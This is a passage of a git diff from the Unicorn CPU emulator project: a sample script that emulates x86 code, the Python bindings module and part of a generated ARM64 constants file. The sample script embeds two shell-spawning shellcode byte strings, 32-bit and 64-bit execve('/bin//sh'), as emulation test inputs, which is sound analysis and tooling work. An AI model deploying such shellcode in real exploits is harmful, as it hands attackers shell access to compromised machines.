X86_CODE32_SELF = b"\xeb\x1c\x5a\x89\xd6\x8b\x02\x66\x3d\xca\x7d\x75\x06\x66\x05\x03\x03\x89\x02\xfe\xc2\x3d\x41\x41\x41\x41\x75\xe9\xff\xe6\xe8\xdf\xff\xff\xff\x31\xd2\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xca\x7d\x41\x41\x41\x41\x41\x41\x41\x41"
|
||||
|
||||
X86_CODE64 = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x1000000
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size))
|
||||
# read this instruction code from memory
|
||||
tmp = uc.mem_read(address, size)
|
||||
print(">>> Instruction code at [0x%x] =" %(address), end="")
|
||||
for i in tmp:
|
||||
print(" %02x" %i, end="")
|
||||
print("")
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
|
||||
|
||||
|
||||
# callback for tracing Linux interrupt
|
||||
def hook_intr(uc, intno, user_data):
|
||||
# only handle Linux syscall
|
||||
if intno != 0x80:
|
||||
print("got interrupt %x ???" %intno);
|
||||
uc.emu_stop()
|
||||
return
|
||||
|
||||
eax = uc.reg_read(X86_REG_EAX)
|
||||
eip = uc.reg_read(X86_REG_EIP)
|
||||
if eax == 1: # sys_exit
|
||||
print(">>> 0x%x: interrupt 0x%x, EAX = 0x%x" %(eip, intno, eax))
|
||||
uc.emu_stop()
|
||||
elif eax == 4: # sys_write
|
||||
# ECX = buffer address
|
||||
ecx = uc.reg_read(X86_REG_ECX)
|
||||
# EDX = buffer size
|
||||
edx = uc.reg_read(X86_REG_EDX)
|
||||
|
||||
try:
|
||||
buf = uc.mem_read(ecx, edx)
|
||||
print(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = " \
|
||||
%(eip, intno, ecx, edx), end="")
|
||||
for i in buf:
|
||||
print("%c" %i, end="")
|
||||
print("")
|
||||
except UcError as e:
|
||||
print(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = <unknown>\n" \
|
||||
%(eip, intno, ecx, edx))
|
||||
else:
|
||||
print(">>> 0x%x: interrupt 0x%x, EAX = 0x%x" %(eip, intno, eax))
|
||||
|
||||
|
||||
# Test X86 32 bit
|
||||
def test_i386(mode, code):
|
||||
print("Emulate x86 code")
|
||||
try:
|
||||
# Initialize emulator
|
||||
mu = Uc(UC_ARCH_X86, mode)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, code)
|
||||
|
||||
# initialize stack
|
||||
mu.reg_write(X86_REG_ESP, ADDRESS + 0x200000)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# handle interrupt ourself
|
||||
mu.hook_add(UC_HOOK_INTR, hook_intr)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(code))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done")
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
#test_i386(UC_MODE_32, X86_CODE32_SELF)
|
||||
#print("=" * 20)
|
||||
#test_i386(UC_MODE_32, X86_CODE32)
|
||||
#print("=" * 20)
|
||||
test_i386(UC_MODE_64, X86_CODE64) # FIXME
|
||||
|
||||
458
bindings/python/unicorn/__init__.py
Normal file
458
bindings/python/unicorn/__init__.py
Normal file
@@ -0,0 +1,458 @@
|
||||
# Unicorn Python bindings, by Nguyen Anh Quynnh <aquynh@gmail.com>
|
||||
import sys
|
||||
_python2 = sys.version_info[0] < 3
|
||||
if _python2:
|
||||
range = xrange
|
||||
from . import arm_const, arm64_const, mips_const, sparc_const, m68k_const, x86_const
|
||||
|
||||
__all__ = [
|
||||
'Uc',
|
||||
|
||||
'uc_version',
|
||||
'uc_support',
|
||||
'version_bind',
|
||||
'debug',
|
||||
|
||||
'UC_API_MAJOR',
|
||||
'UC_API_MINOR',
|
||||
|
||||
'UC_ARCH_ARM',
|
||||
'UC_ARCH_ARM64',
|
||||
'UC_ARCH_MIPS',
|
||||
'UC_ARCH_X86',
|
||||
'UC_ARCH_SPARC',
|
||||
'UC_ARCH_M68K',
|
||||
'UC_ARCH_ALL',
|
||||
|
||||
'UC_MODE_LITTLE_ENDIAN',
|
||||
'UC_MODE_BIG_ENDIAN',
|
||||
'UC_MODE_16',
|
||||
'UC_MODE_32',
|
||||
'UC_MODE_64',
|
||||
'UC_MODE_ARM',
|
||||
'UC_MODE_THUMB',
|
||||
'UC_MODE_MCLASS',
|
||||
'UC_MODE_MICRO',
|
||||
'UC_MODE_MIPS3',
|
||||
'UC_MODE_MIPS32R6',
|
||||
'UC_MODE_MIPSGP64',
|
||||
'UC_MODE_V8',
|
||||
'UC_MODE_V9',
|
||||
'UC_MODE_MIPS32',
|
||||
'UC_MODE_MIPS64',
|
||||
|
||||
'UC_ERR_OK',
|
||||
'UC_ERR_OOM',
|
||||
'UC_ERR_ARCH',
|
||||
'UC_ERR_HANDLE',
|
||||
'UC_ERR_UCH',
|
||||
'UC_ERR_MODE',
|
||||
'UC_ERR_VERSION',
|
||||
'UC_ERR_MEM_READ',
|
||||
'UC_ERR_MEM_WRITE',
|
||||
'UC_ERR_CODE_INVALID',
|
||||
'UC_ERR_HOOK',
|
||||
'UC_ERR_INSN_INVALID',
|
||||
|
||||
'UC_HOOK_INTR',
|
||||
'UC_HOOK_INSN',
|
||||
'UC_HOOK_CODE',
|
||||
'UC_HOOK_BLOCK',
|
||||
'UC_HOOK_MEM_INVALID',
|
||||
'UC_HOOK_MEM_READ',
|
||||
'UC_HOOK_MEM_WRITE',
|
||||
'UC_HOOK_MEM_READ_WRITE',
|
||||
|
||||
'UC_MEM_READ',
|
||||
'UC_MEM_WRITE',
|
||||
'UC_MEM_READ_WRITE',
|
||||
|
||||
'UC_SECOND_SCALE',
|
||||
'UC_MILISECOND_SCALE',
|
||||
|
||||
'UcError',
|
||||
]
|
||||
|
||||
# Unicorn C interface
|
||||
|
||||
# API version
|
||||
UC_API_MAJOR = 0
|
||||
UC_API_MINOR = 9
|
||||
|
||||
# Architectures
|
||||
UC_ARCH_ARM = 1
|
||||
UC_ARCH_ARM64 = 2
|
||||
UC_ARCH_MIPS = 3
|
||||
UC_ARCH_X86 = 4
|
||||
UC_ARCH_PPC = 5
|
||||
UC_ARCH_SPARC = 6
|
||||
UC_ARCH_M68K = 7
|
||||
UC_ARCH_MAX = 8
|
||||
UC_ARCH_ALL = 0xFFFF
|
||||
|
||||
# Hardware modes
|
||||
UC_MODE_LITTLE_ENDIAN = 0 # little-endian mode (default mode)
|
||||
UC_MODE_ARM = 0 # ARM mode
|
||||
UC_MODE_16 = (1 << 1) # 16-bit mode (for X86)
|
||||
UC_MODE_32 = (1 << 2) # 32-bit mode (for X86)
|
||||
UC_MODE_64 = (1 << 3) # 64-bit mode (for X86, PPC)
|
||||
UC_MODE_THUMB = (1 << 4) # ARM's Thumb mode, including Thumb-2
|
||||
UC_MODE_MCLASS = (1 << 5) # ARM's Cortex-M series
|
||||
UC_MODE_V8 = (1 << 6) # ARMv8 A32 encodings for ARM
|
||||
UC_MODE_MICRO = (1 << 4) # MicroMips mode (MIPS architecture)
|
||||
UC_MODE_MIPS3 = (1 << 5) # Mips III ISA
|
||||
UC_MODE_MIPS32R6 = (1 << 6) # Mips32r6 ISA
|
||||
UC_MODE_MIPSGP64 = (1 << 7) # General Purpose Registers are 64-bit wide (MIPS arch)
|
||||
UC_MODE_V9 = (1 << 4) # Sparc V9 mode (for Sparc)
|
||||
UC_MODE_BIG_ENDIAN = (1 << 31) # big-endian mode
|
||||
UC_MODE_MIPS32 = UC_MODE_32 # Mips32 ISA
|
||||
UC_MODE_MIPS64 = UC_MODE_64 # Mips64 ISA
|
||||
|
||||
|
||||
# Unicorn error type
|
||||
UC_ERR_OK = 0 # No error: everything was fine
|
||||
UC_ERR_OOM = 1 # Out-Of-Memory error: uc_open(), uc_emulate()
|
||||
UC_ERR_ARCH = 2 # Unsupported architecture: uc_open()
|
||||
UC_ERR_HANDLE = 3 # Invalid handle
|
||||
UC_ERR_UCH = 4 # Invalid handle (uch)
|
||||
UC_ERR_MODE = 5 # Invalid/unsupported mode: uc_open()
|
||||
UC_ERR_VERSION = 6 # Unsupported version (bindings)
|
||||
UC_ERR_MEM_READ = 7 # Quit emulation due to invalid memory READ: uc_emu_start()
|
||||
UC_ERR_MEM_WRITE = 8 # Quit emulation due to invalid memory WRITE: uc_emu_start()
|
||||
UC_ERR_CODE_INVALID = 9 # Quit emulation due to invalid code address: uc_emu_start()
|
||||
UC_ERR_HOOK = 10 # Invalid hook type: uc_hook_add()
|
||||
UC_ERR_INSN_INVALID = 11 # Invalid instruction
|
||||
|
||||
|
||||
# All type of hooks for uc_hook_add() API.
|
||||
UC_HOOK_INTR = 32 # Hook all interrupt events
|
||||
UC_HOOK_INSN = 33 # Hook a particular instruction
|
||||
UC_HOOK_CODE = 34 # Hook a range of code
|
||||
UC_HOOK_BLOCK = 35 # Hook basic blocks
|
||||
UC_HOOK_MEM_INVALID = 36 # Hook for all invalid memory access events
|
||||
UC_HOOK_MEM_READ = 37 # Hook all memory read events.
|
||||
UC_HOOK_MEM_WRITE = 38 # Hook all memory write events.
|
||||
UC_HOOK_MEM_READ_WRITE = 39 # Hook all memory accesses (either READ or WRITE).
|
||||
|
||||
|
||||
# All type of memory accesses for UC_HOOK_MEM_*
|
||||
UC_MEM_READ = 16 # Memory is read from
|
||||
UC_MEM_WRITE = 17 # Memory is written to
|
||||
UC_MEM_READ_WRITE = 18 # Memory is accessed (either READ or WRITE)
|
||||
|
||||
|
||||
# Time scales to calculate timeout on microsecond unit
|
||||
# This is for Uc.emu_start()
|
||||
UC_SECOND_SCALE = 1000000 # 1 second = 1000,000 microseconds
|
||||
UC_MILISECOND_SCALE = 1000 # 1 milisecond = 1000 nanoseconds
|
||||
|
||||
|
||||
import ctypes, ctypes.util, sys
|
||||
from os.path import split, join, dirname
|
||||
import distutils.sysconfig
|
||||
|
||||
|
||||
import inspect
|
||||
if not hasattr(sys.modules[__name__], '__file__'):
|
||||
__file__ = inspect.getfile(inspect.currentframe())
|
||||
|
||||
_lib_path = split(__file__)[0]
|
||||
_all_libs = ['unicorn.dll', 'libunicorn.so', 'libunicorn.dylib']
|
||||
_found = False
|
||||
|
||||
for _lib in _all_libs:
|
||||
try:
|
||||
_lib_file = join(_lib_path, _lib)
|
||||
# print "Trying to load:", _lib_file
|
||||
_uc = ctypes.cdll.LoadLibrary(_lib_file)
|
||||
_found = True
|
||||
break
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
if _found == False:
|
||||
# try loading from default paths
|
||||
for _lib in _all_libs:
|
||||
try:
|
||||
_uc = ctypes.cdll.LoadLibrary(_lib)
|
||||
_found = True
|
||||
break
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
if _found == False:
|
||||
# last try: loading from python lib directory
|
||||
_lib_path = distutils.sysconfig.get_python_lib()
|
||||
for _lib in _all_libs:
|
||||
try:
|
||||
_lib_file = join(_lib_path, 'unicorn', _lib)
|
||||
# print "Trying to load:", _lib_file
|
||||
_uc = ctypes.cdll.LoadLibrary(_lib_file)
|
||||
_found = True
|
||||
break
|
||||
except OSError:
|
||||
pass
|
||||
if _found == False:
|
||||
raise ImportError("ERROR: fail to load the dynamic library.")
|
||||
|
||||
|
||||
# setup all the function prototype
|
||||
def _setup_prototype(lib, fname, restype, *argtypes):
|
||||
getattr(lib, fname).restype = restype
|
||||
getattr(lib, fname).argtypes = argtypes
|
||||
|
||||
_setup_prototype(_uc, "uc_version", ctypes.c_int, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int))
|
||||
_setup_prototype(_uc, "uc_support", ctypes.c_bool, ctypes.c_int)
|
||||
_setup_prototype(_uc, "uc_open", ctypes.c_int, ctypes.c_uint, ctypes.c_uint, ctypes.POINTER(ctypes.c_size_t))
|
||||
_setup_prototype(_uc, "uc_close", ctypes.c_int, ctypes.POINTER(ctypes.c_size_t))
|
||||
_setup_prototype(_uc, "uc_strerror", ctypes.c_char_p, ctypes.c_int)
|
||||
_setup_prototype(_uc, "uc_errno", ctypes.c_int, ctypes.c_size_t)
|
||||
_setup_prototype(_uc, "uc_reg_read", ctypes.c_int, ctypes.c_size_t, ctypes.c_int, ctypes.c_void_p)
|
||||
_setup_prototype(_uc, "uc_reg_write", ctypes.c_int, ctypes.c_size_t, ctypes.c_int, ctypes.c_void_p)
|
||||
_setup_prototype(_uc, "uc_mem_read", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t)
|
||||
_setup_prototype(_uc, "uc_mem_write", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t)
|
||||
_setup_prototype(_uc, "uc_emu_start", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_size_t)
|
||||
_setup_prototype(_uc, "uc_emu_stop", ctypes.c_int, ctypes.c_size_t)
|
||||
_setup_prototype(_uc, "uc_hook_del", ctypes.c_int, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t))
|
||||
_setup_prototype(_uc, "uc_mem_map", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t)
|
||||
|
||||
# uc_hook_add is special due to variable number of arguments
|
||||
_uc.uc_hook_add = getattr(_uc, "uc_hook_add")
|
||||
_uc.uc_hook_add.restype = ctypes.c_int
|
||||
|
||||
UC_HOOK_CODE_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_void_p)
|
||||
UC_HOOK_MEM_INVALID_CB = ctypes.CFUNCTYPE(ctypes.c_bool, ctypes.c_size_t, ctypes.c_int, \
|
||||
ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p)
|
||||
UC_HOOK_MEM_ACCESS_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_int, \
|
||||
ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p)
|
||||
UC_HOOK_INTR_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint32, \
|
||||
ctypes.c_void_p)
|
||||
UC_HOOK_INSN_IN_CB = ctypes.CFUNCTYPE(ctypes.c_uint32, ctypes.c_size_t, ctypes.c_uint32, \
|
||||
ctypes.c_int, ctypes.c_void_p)
|
||||
UC_HOOK_INSN_OUT_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint32, \
|
||||
ctypes.c_int, ctypes.c_uint32, ctypes.c_void_p)
|
||||
|
||||
|
||||
# access to error code via @errno of UcError
|
||||
class UcError(Exception):
|
||||
def __init__(self, errno):
|
||||
self.errno = errno
|
||||
|
||||
def __str__(self):
|
||||
return _uc.uc_strerror(self.errno)
|
||||
|
||||
|
||||
# return the core's version
|
||||
def uc_version():
|
||||
major = ctypes.c_int()
|
||||
minor = ctypes.c_int()
|
||||
combined = _uc.uc_version(ctypes.byref(major), ctypes.byref(minor))
|
||||
return (major.value, minor.value, combined)
|
||||
|
||||
|
||||
# return the binding's version
|
||||
def version_bind():
|
||||
return (UC_API_MAJOR, UC_API_MINOR, (UC_API_MAJOR << 8) + UC_API_MINOR)
|
||||
|
||||
|
||||
# check to see if this engine supports a particular arch
|
||||
def uc_support(query):
|
||||
return _uc.uc_support(query)
|
||||
|
||||
|
||||
class Uc(object):
|
||||
def __init__(self, arch, mode):
|
||||
# verify version compatibility with the core before doing anything
|
||||
(major, minor, _combined) = uc_version()
|
||||
if major != UC_API_MAJOR or minor != UC_API_MINOR:
|
||||
self._uch = None
|
||||
# our binding version is different from the core's API version
|
||||
raise UcError(UC_ERR_VERSION)
|
||||
|
||||
self._arch, self._mode = arch, mode
|
||||
self._uch = ctypes.c_size_t()
|
||||
status = _uc.uc_open(arch, mode, ctypes.byref(self._uch))
|
||||
if status != UC_ERR_OK:
|
||||
self._uch = None
|
||||
raise UcError(status)
|
||||
# internal mapping table to save callback & userdata
|
||||
self._callbacks = {}
|
||||
self._callback_count = 0
|
||||
|
||||
|
||||
# destructor to be called automatically when object is destroyed.
|
||||
def __del__(self):
|
||||
if self._uch:
|
||||
try:
|
||||
status = _uc.uc_close(ctypes.byref(self._uch))
|
||||
if status != UC_ERR_OK:
|
||||
raise UcError(status)
|
||||
except: # _uc might be pulled from under our feet
|
||||
pass
|
||||
|
||||
|
||||
# emulate from @begin, and stop when reaching address @until
|
||||
def emu_start(self, begin, until, timeout=0, count=0):
|
||||
status = _uc.uc_emu_start(self._uch, begin, until, timeout, count)
|
||||
if status != UC_ERR_OK:
|
||||
raise UcError(status)
|
||||
|
||||
|
||||
# stop emulation
|
||||
def emu_stop(self):
|
||||
status = _uc.uc_emu_stop(self._uch)
|
||||
if status != UC_ERR_OK:
|
||||
raise UcError(status)
|
||||
|
||||
|
||||
# return the value of a register
|
||||
def reg_read(self, reg_id):
|
||||
# read to 64bit number to be safe
|
||||
reg = ctypes.c_int64(0)
|
||||
status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg))
|
||||
if status != UC_ERR_OK:
|
||||
raise UcError(status)
|
||||
return reg.value
|
||||
|
||||
|
||||
# write to a register
|
||||
def reg_write(self, reg_id, value):
|
||||
# convert to 64bit number to be safe
|
||||
reg = ctypes.c_int64(value)
|
||||
status = _uc.uc_reg_write(self._uch, reg_id, ctypes.byref(reg))
|
||||
if status != UC_ERR_OK:
|
||||
raise UcError(status)
|
||||
|
||||
|
||||
# read data from memory
|
||||
def mem_read(self, address, size):
|
||||
data = ctypes.create_string_buffer(size)
|
||||
status = _uc.uc_mem_read(self._uch, address, data, size)
|
||||
if status != UC_ERR_OK:
|
||||
raise UcError(status)
|
||||
return bytearray(data)
|
||||
|
||||
|
||||
# write to memory
|
||||
def mem_write(self, address, data):
|
||||
status = _uc.uc_mem_write(self._uch, address, data, len(data))
|
||||
if status != UC_ERR_OK:
|
||||
raise UcError(status)
|
||||
|
||||
|
||||
# map a range of memory
|
||||
def mem_map(self, address, size):
|
||||
status = _uc.uc_mem_map(self._uch, address, size)
|
||||
if status != UC_ERR_OK:
|
||||
raise UcError(status)
|
||||
|
||||
|
||||
def _hookcode_cb(self, handle, address, size, user_data):
|
||||
# call user's callback with self object
|
||||
(cb, data) = self._callbacks[user_data]
|
||||
cb(self, address, size, data)
|
||||
|
||||
|
||||
def _hook_mem_invalid_cb(self, handle, access, address, size, value, user_data):
|
||||
# call user's callback with self object
|
||||
(cb, data) = self._callbacks[user_data]
|
||||
return cb(self, access, address, size, value, data)
|
||||
|
||||
|
||||
def _hook_mem_access_cb(self, handle, access, address, size, value, user_data):
|
||||
# call user's callback with self object
|
||||
(cb, data) = self._callbacks[user_data]
|
||||
cb(self, access, address, size, value, data)
|
||||
|
||||
|
||||
def _hook_intr_cb(self, handle, intno, user_data):
|
||||
# call user's callback with self object
|
||||
(cb, data) = self._callbacks[user_data]
|
||||
cb(self, intno, data)
|
||||
|
||||
|
||||
def _hook_insn_in_cb(self, handle, port, size, user_data):
|
||||
# call user's callback with self object
|
||||
(cb, data) = self._callbacks[user_data]
|
||||
return cb(self, port, size, data)
|
||||
|
||||
|
||||
def _hook_insn_out_cb(self, handle, port, size, value, user_data):
|
||||
# call user's callback with self object
|
||||
(cb, data) = self._callbacks[user_data]
|
||||
cb(self, port, size, value, data)
|
||||
|
||||
|
||||
# add a hook
|
||||
def hook_add(self, htype, callback, user_data=None, arg1=1, arg2=0):
|
||||
_h2 = ctypes.c_size_t()
|
||||
|
||||
# save callback & user_data
|
||||
self._callback_count += 1
|
||||
self._callbacks[self._callback_count] = (callback, user_data)
|
||||
|
||||
if htype in (UC_HOOK_BLOCK, UC_HOOK_CODE):
|
||||
begin = ctypes.c_uint64(arg1)
|
||||
end = ctypes.c_uint64(arg2)
|
||||
# set callback with wrapper, so it can be called
|
||||
# with this object as param
|
||||
cb = ctypes.cast(UC_HOOK_CODE_CB(self._hookcode_cb), UC_HOOK_CODE_CB)
|
||||
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, cb, \
|
||||
ctypes.cast(self._callback_count, ctypes.c_void_p), begin, end)
|
||||
elif htype == UC_HOOK_MEM_INVALID:
|
||||
cb = ctypes.cast(UC_HOOK_MEM_INVALID_CB(self._hook_mem_invalid_cb), UC_HOOK_MEM_INVALID_CB)
|
||||
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
|
||||
cb, ctypes.cast(self._callback_count, ctypes.c_void_p))
|
||||
elif htype in (UC_HOOK_MEM_READ, UC_HOOK_MEM_WRITE, UC_HOOK_MEM_READ_WRITE):
|
||||
cb = ctypes.cast(UC_HOOK_MEM_ACCESS_CB(self._hook_mem_access_cb), UC_HOOK_MEM_ACCESS_CB)
|
||||
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
|
||||
cb, ctypes.cast(self._callback_count, ctypes.c_void_p))
|
||||
elif htype == UC_HOOK_INSN:
|
||||
insn = ctypes.c_int(arg1)
|
||||
if arg1 == x86_const.X86_INS_IN: # IN instruction
|
||||
cb = ctypes.cast(UC_HOOK_INSN_IN_CB(self._hook_insn_in_cb), UC_HOOK_INSN_IN_CB)
|
||||
if arg1 == x86_const.X86_INS_OUT: # OUT instruction
|
||||
cb = ctypes.cast(UC_HOOK_INSN_OUT_CB(self._hook_insn_out_cb), UC_HOOK_INSN_OUT_CB)
|
||||
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
|
||||
cb, ctypes.cast(self._callback_count, ctypes.c_void_p), insn)
|
||||
elif htype == UC_HOOK_INTR:
|
||||
cb = ctypes.cast(UC_HOOK_INTR_CB(self._hook_intr_cb), UC_HOOK_INTR_CB)
|
||||
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
|
||||
cb, ctypes.cast(self._callback_count, ctypes.c_void_p))
|
||||
|
||||
if status != UC_ERR_OK:
|
||||
raise UcError(status)
|
||||
|
||||
return _h2.value
|
||||
|
||||
|
||||
# delete a hook
|
||||
def hook_del(self, h):
|
||||
_h = ctypes.c_size_t(h)
|
||||
status = _uc.uc_hook_del(self._uch, ctypes.byref(_h))
|
||||
if status != UC_ERR_OK:
|
||||
raise UcError(status)
|
||||
h = 0
|
||||
|
||||
|
||||
# print out debugging info
|
||||
def debug():
|
||||
archs = { "arm": UC_ARCH_ARM, "arm64": UC_ARCH_ARM64, \
|
||||
"mips": UC_ARCH_MIPS, "sparc": UC_ARCH_SPARC, \
|
||||
"m68k": UC_ARCH_M68K }
|
||||
|
||||
all_archs = ""
|
||||
keys = archs.keys()
|
||||
keys.sort()
|
||||
for k in keys:
|
||||
if uc_support(archs[k]):
|
||||
all_archs += "-%s" % k
|
||||
|
||||
if uc_support(UC_ARCH_X86):
|
||||
all_archs += "-x86"
|
||||
if uc_support(UC_SUPPORT_X86_REDUCE):
|
||||
all_archs += "_reduce"
|
||||
|
||||
(major, minor, _combined) = uc_version()
|
||||
|
||||
return "python-%s-c%u.%u-b%u.%u" % (all_archs, major, minor, UC_API_MAJOR, UC_API_MINOR)
|
||||
274
bindings/python/unicorn/arm64_const.py
Normal file
274
bindings/python/unicorn/arm64_const.py
Normal file
@@ -0,0 +1,274 @@
|
||||
# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm64_const.py]
|
||||
|
||||
# ARM64 registers
|
||||
|
||||
ARM64_REG_INVALID = 0
|
||||
ARM64_REG_X29 = 1
|
||||
ARM64_REG_X30 = 2
|
||||
ARM64_REG_NZCV = 3
|
||||
ARM64_REG_SP = 4
|
||||
ARM64_REG_WSP = 5
|
||||
ARM64_REG_WZR = 6
|
||||
ARM64_REG_XZR = 7
|
||||
ARM64_REG_B0 = 8
|
||||
ARM64_REG_B1 = 9
|
||||
ARM64_REG_B2 = 10
|
||||
ARM64_REG_B3 = 11
|
||||
ARM64_REG_B4 = 12
|
||||
ARM64_REG_B5 = 13
|
||||
ARM64_REG_B6 = 14
|
||||
ARM64_REG_B7 = 15
|
||||
ARM64_REG_B8 = 16
|
||||
ARM64_REG_B9 = 17
|
||||
ARM64_REG_B10 = 18
|
||||
ARM64_REG_B11 = 19
|
||||
ARM64_REG_B12 = 20
|
||||
ARM64_REG_B13 = 21
|
||||
ARM64_REG_B14 = 22
|
||||
ARM64_REG_B15 = 23
|
||||
ARM64_REG_B16 = 24
|
||||
ARM64_REG_B17 = 25
|
||||
ARM64_REG_B18 = 26
|
||||
ARM64_REG_B19 = 27
|
||||
ARM64_REG_B20 = 28
|
||||
ARM64_REG_B21 = 29
|
||||
ARM64_REG_B22 = 30
|
||||
ARM64_REG_B23 = 31
|
||||
ARM64_REG_B24 = 32
|
||||
ARM64_REG_B25 = 33
|
||||
ARM64_REG_B26 = 34
|
||||
ARM64_REG_B27 = 35
|
||||
ARM64_REG_B28 = 36
|
||||
ARM64_REG_B29 = 37
|
||||
ARM64_REG_B30 = 38
|
||||
ARM64_REG_B31 = 39
|
||||
ARM64_REG_D0 = 40
|
||||
ARM64_REG_D1 = 41
|
||||
ARM64_REG_D2 = 42
|
||||
ARM64_REG_D3 = 43
|
||||
ARM64_REG_D4 = 44
|
||||
ARM64_REG_D5 = 45
|
||||
ARM64_REG_D6 = 46
|
||||
ARM64_REG_D7 = 47
|
||||
ARM64_REG_D8 = 48
|
||||
ARM64_REG_D9 = 49
|
||||
ARM64_REG_D10 = 50
|
||||
ARM64_REG_D11 = 51
|
||||
ARM64_REG_D12 = 52
|
||||
ARM64_REG_D13 = 53
|
||||
ARM64_REG_D14 = 54
|
||||
ARM64_REG_D15 = 55
|
||||
ARM64_REG_D16 = 56
|
||||
ARM64_REG_D17 = 57
|
||||
ARM64_REG_D18 = 58
|
||||
ARM64_REG_D19 = 59
|
||||
ARM64_REG_D20 = 60
|
||||
ARM64_REG_D21 = 61
|
||||
ARM64_REG_D22 = 62
|
||||
ARM64_REG_D23 = 63
|
||||
ARM64_REG_D24 = 64
|
||||
ARM64_REG_D25 = 65
|
||||
ARM64_REG_D26 = 66
|
||||
ARM64_REG_D27 = 67
|
||||
ARM64_REG_D28 = 68
|
||||
ARM64_REG_D29 = 69
|
||||
ARM64_REG_D30 = 70
|
||||
ARM64_REG_D31 = 71
|
||||
ARM64_REG_H0 = 72
|
||||
ARM64_REG_H1 = 73
|
||||
ARM64_REG_H2 = 74
|
||||
ARM64_REG_H3 = 75
|
||||
ARM64_REG_H4 = 76
|
||||
ARM64_REG_H5 = 77
|
||||
ARM64_REG_H6 = 78
|
||||
ARM64_REG_H7 = 79
|
||||
ARM64_REG_H8 = 80
|
||||
ARM64_REG_H9 = 81
|
||||
ARM64_REG_H10 = 82
|
||||
ARM64_REG_H11 = 83
|
||||
ARM64_REG_H12 = 84
|
||||
ARM64_REG_H13 = 85
|
||||
ARM64_REG_H14 = 86
|
||||
ARM64_REG_H15 = 87
|
||||
ARM64_REG_H16 = 88
|
||||
ARM64_REG_H17 = 89
|
||||
ARM64_REG_H18 = 90
|
||||
ARM64_REG_H19 = 91
|
||||
ARM64_REG_H20 = 92
|
||||
ARM64_REG_H21 = 93
|
||||
ARM64_REG_H22 = 94
|
||||
ARM64_REG_H23 = 95
|
||||
ARM64_REG_H24 = 96
|
||||
ARM64_REG_H25 = 97
|
||||
ARM64_REG_H26 = 98
|
||||
ARM64_REG_H27 = 99
|
||||
ARM64_REG_H28 = 100
|
||||
ARM64_REG_H29 = 101
|
||||
ARM64_REG_H30 = 102
|
||||
ARM64_REG_H31 = 103
|
||||
ARM64_REG_Q0 = 104
|
||||
ARM64_REG_Q1 = 105
|
||||
ARM64_REG_Q2 = 106
|
||||
ARM64_REG_Q3 = 107
|
||||
ARM64_REG_Q4 = 108
|
||||
ARM64_REG_Q5 = 109
|
||||
ARM64_REG_Q6 = 110
|
||||
ARM64_REG_Q7 = 111
|
||||
ARM64_REG_Q8 = 112
|
||||
ARM64_REG_Q9 = 113
|
||||
ARM64_REG_Q10 = 114
|
||||
ARM64_REG_Q11 = 115
|
||||
ARM64_REG_Q12 = 116
|
||||
ARM64_REG_Q13 = 117
|
||||
ARM64_REG_Q14 = 118
|
||||
ARM64_REG_Q15 = 119
|
||||
ARM64_REG_Q16 = 120
|
||||
ARM64_REG_Q17 = 121
|
||||
ARM64_REG_Q18 = 122
|
||||
ARM64_REG_Q19 = 123
|
||||
ARM64_REG_Q20 = 124
|
||||
ARM64_REG_Q21 = 125
|
||||
ARM64_REG_Q22 = 126
|
||||
ARM64_REG_Q23 = 127
|
||||
ARM64_REG_Q24 = 128
|
||||
ARM64_REG_Q25 = 129
|
||||
ARM64_REG_Q26 = 130
|
||||
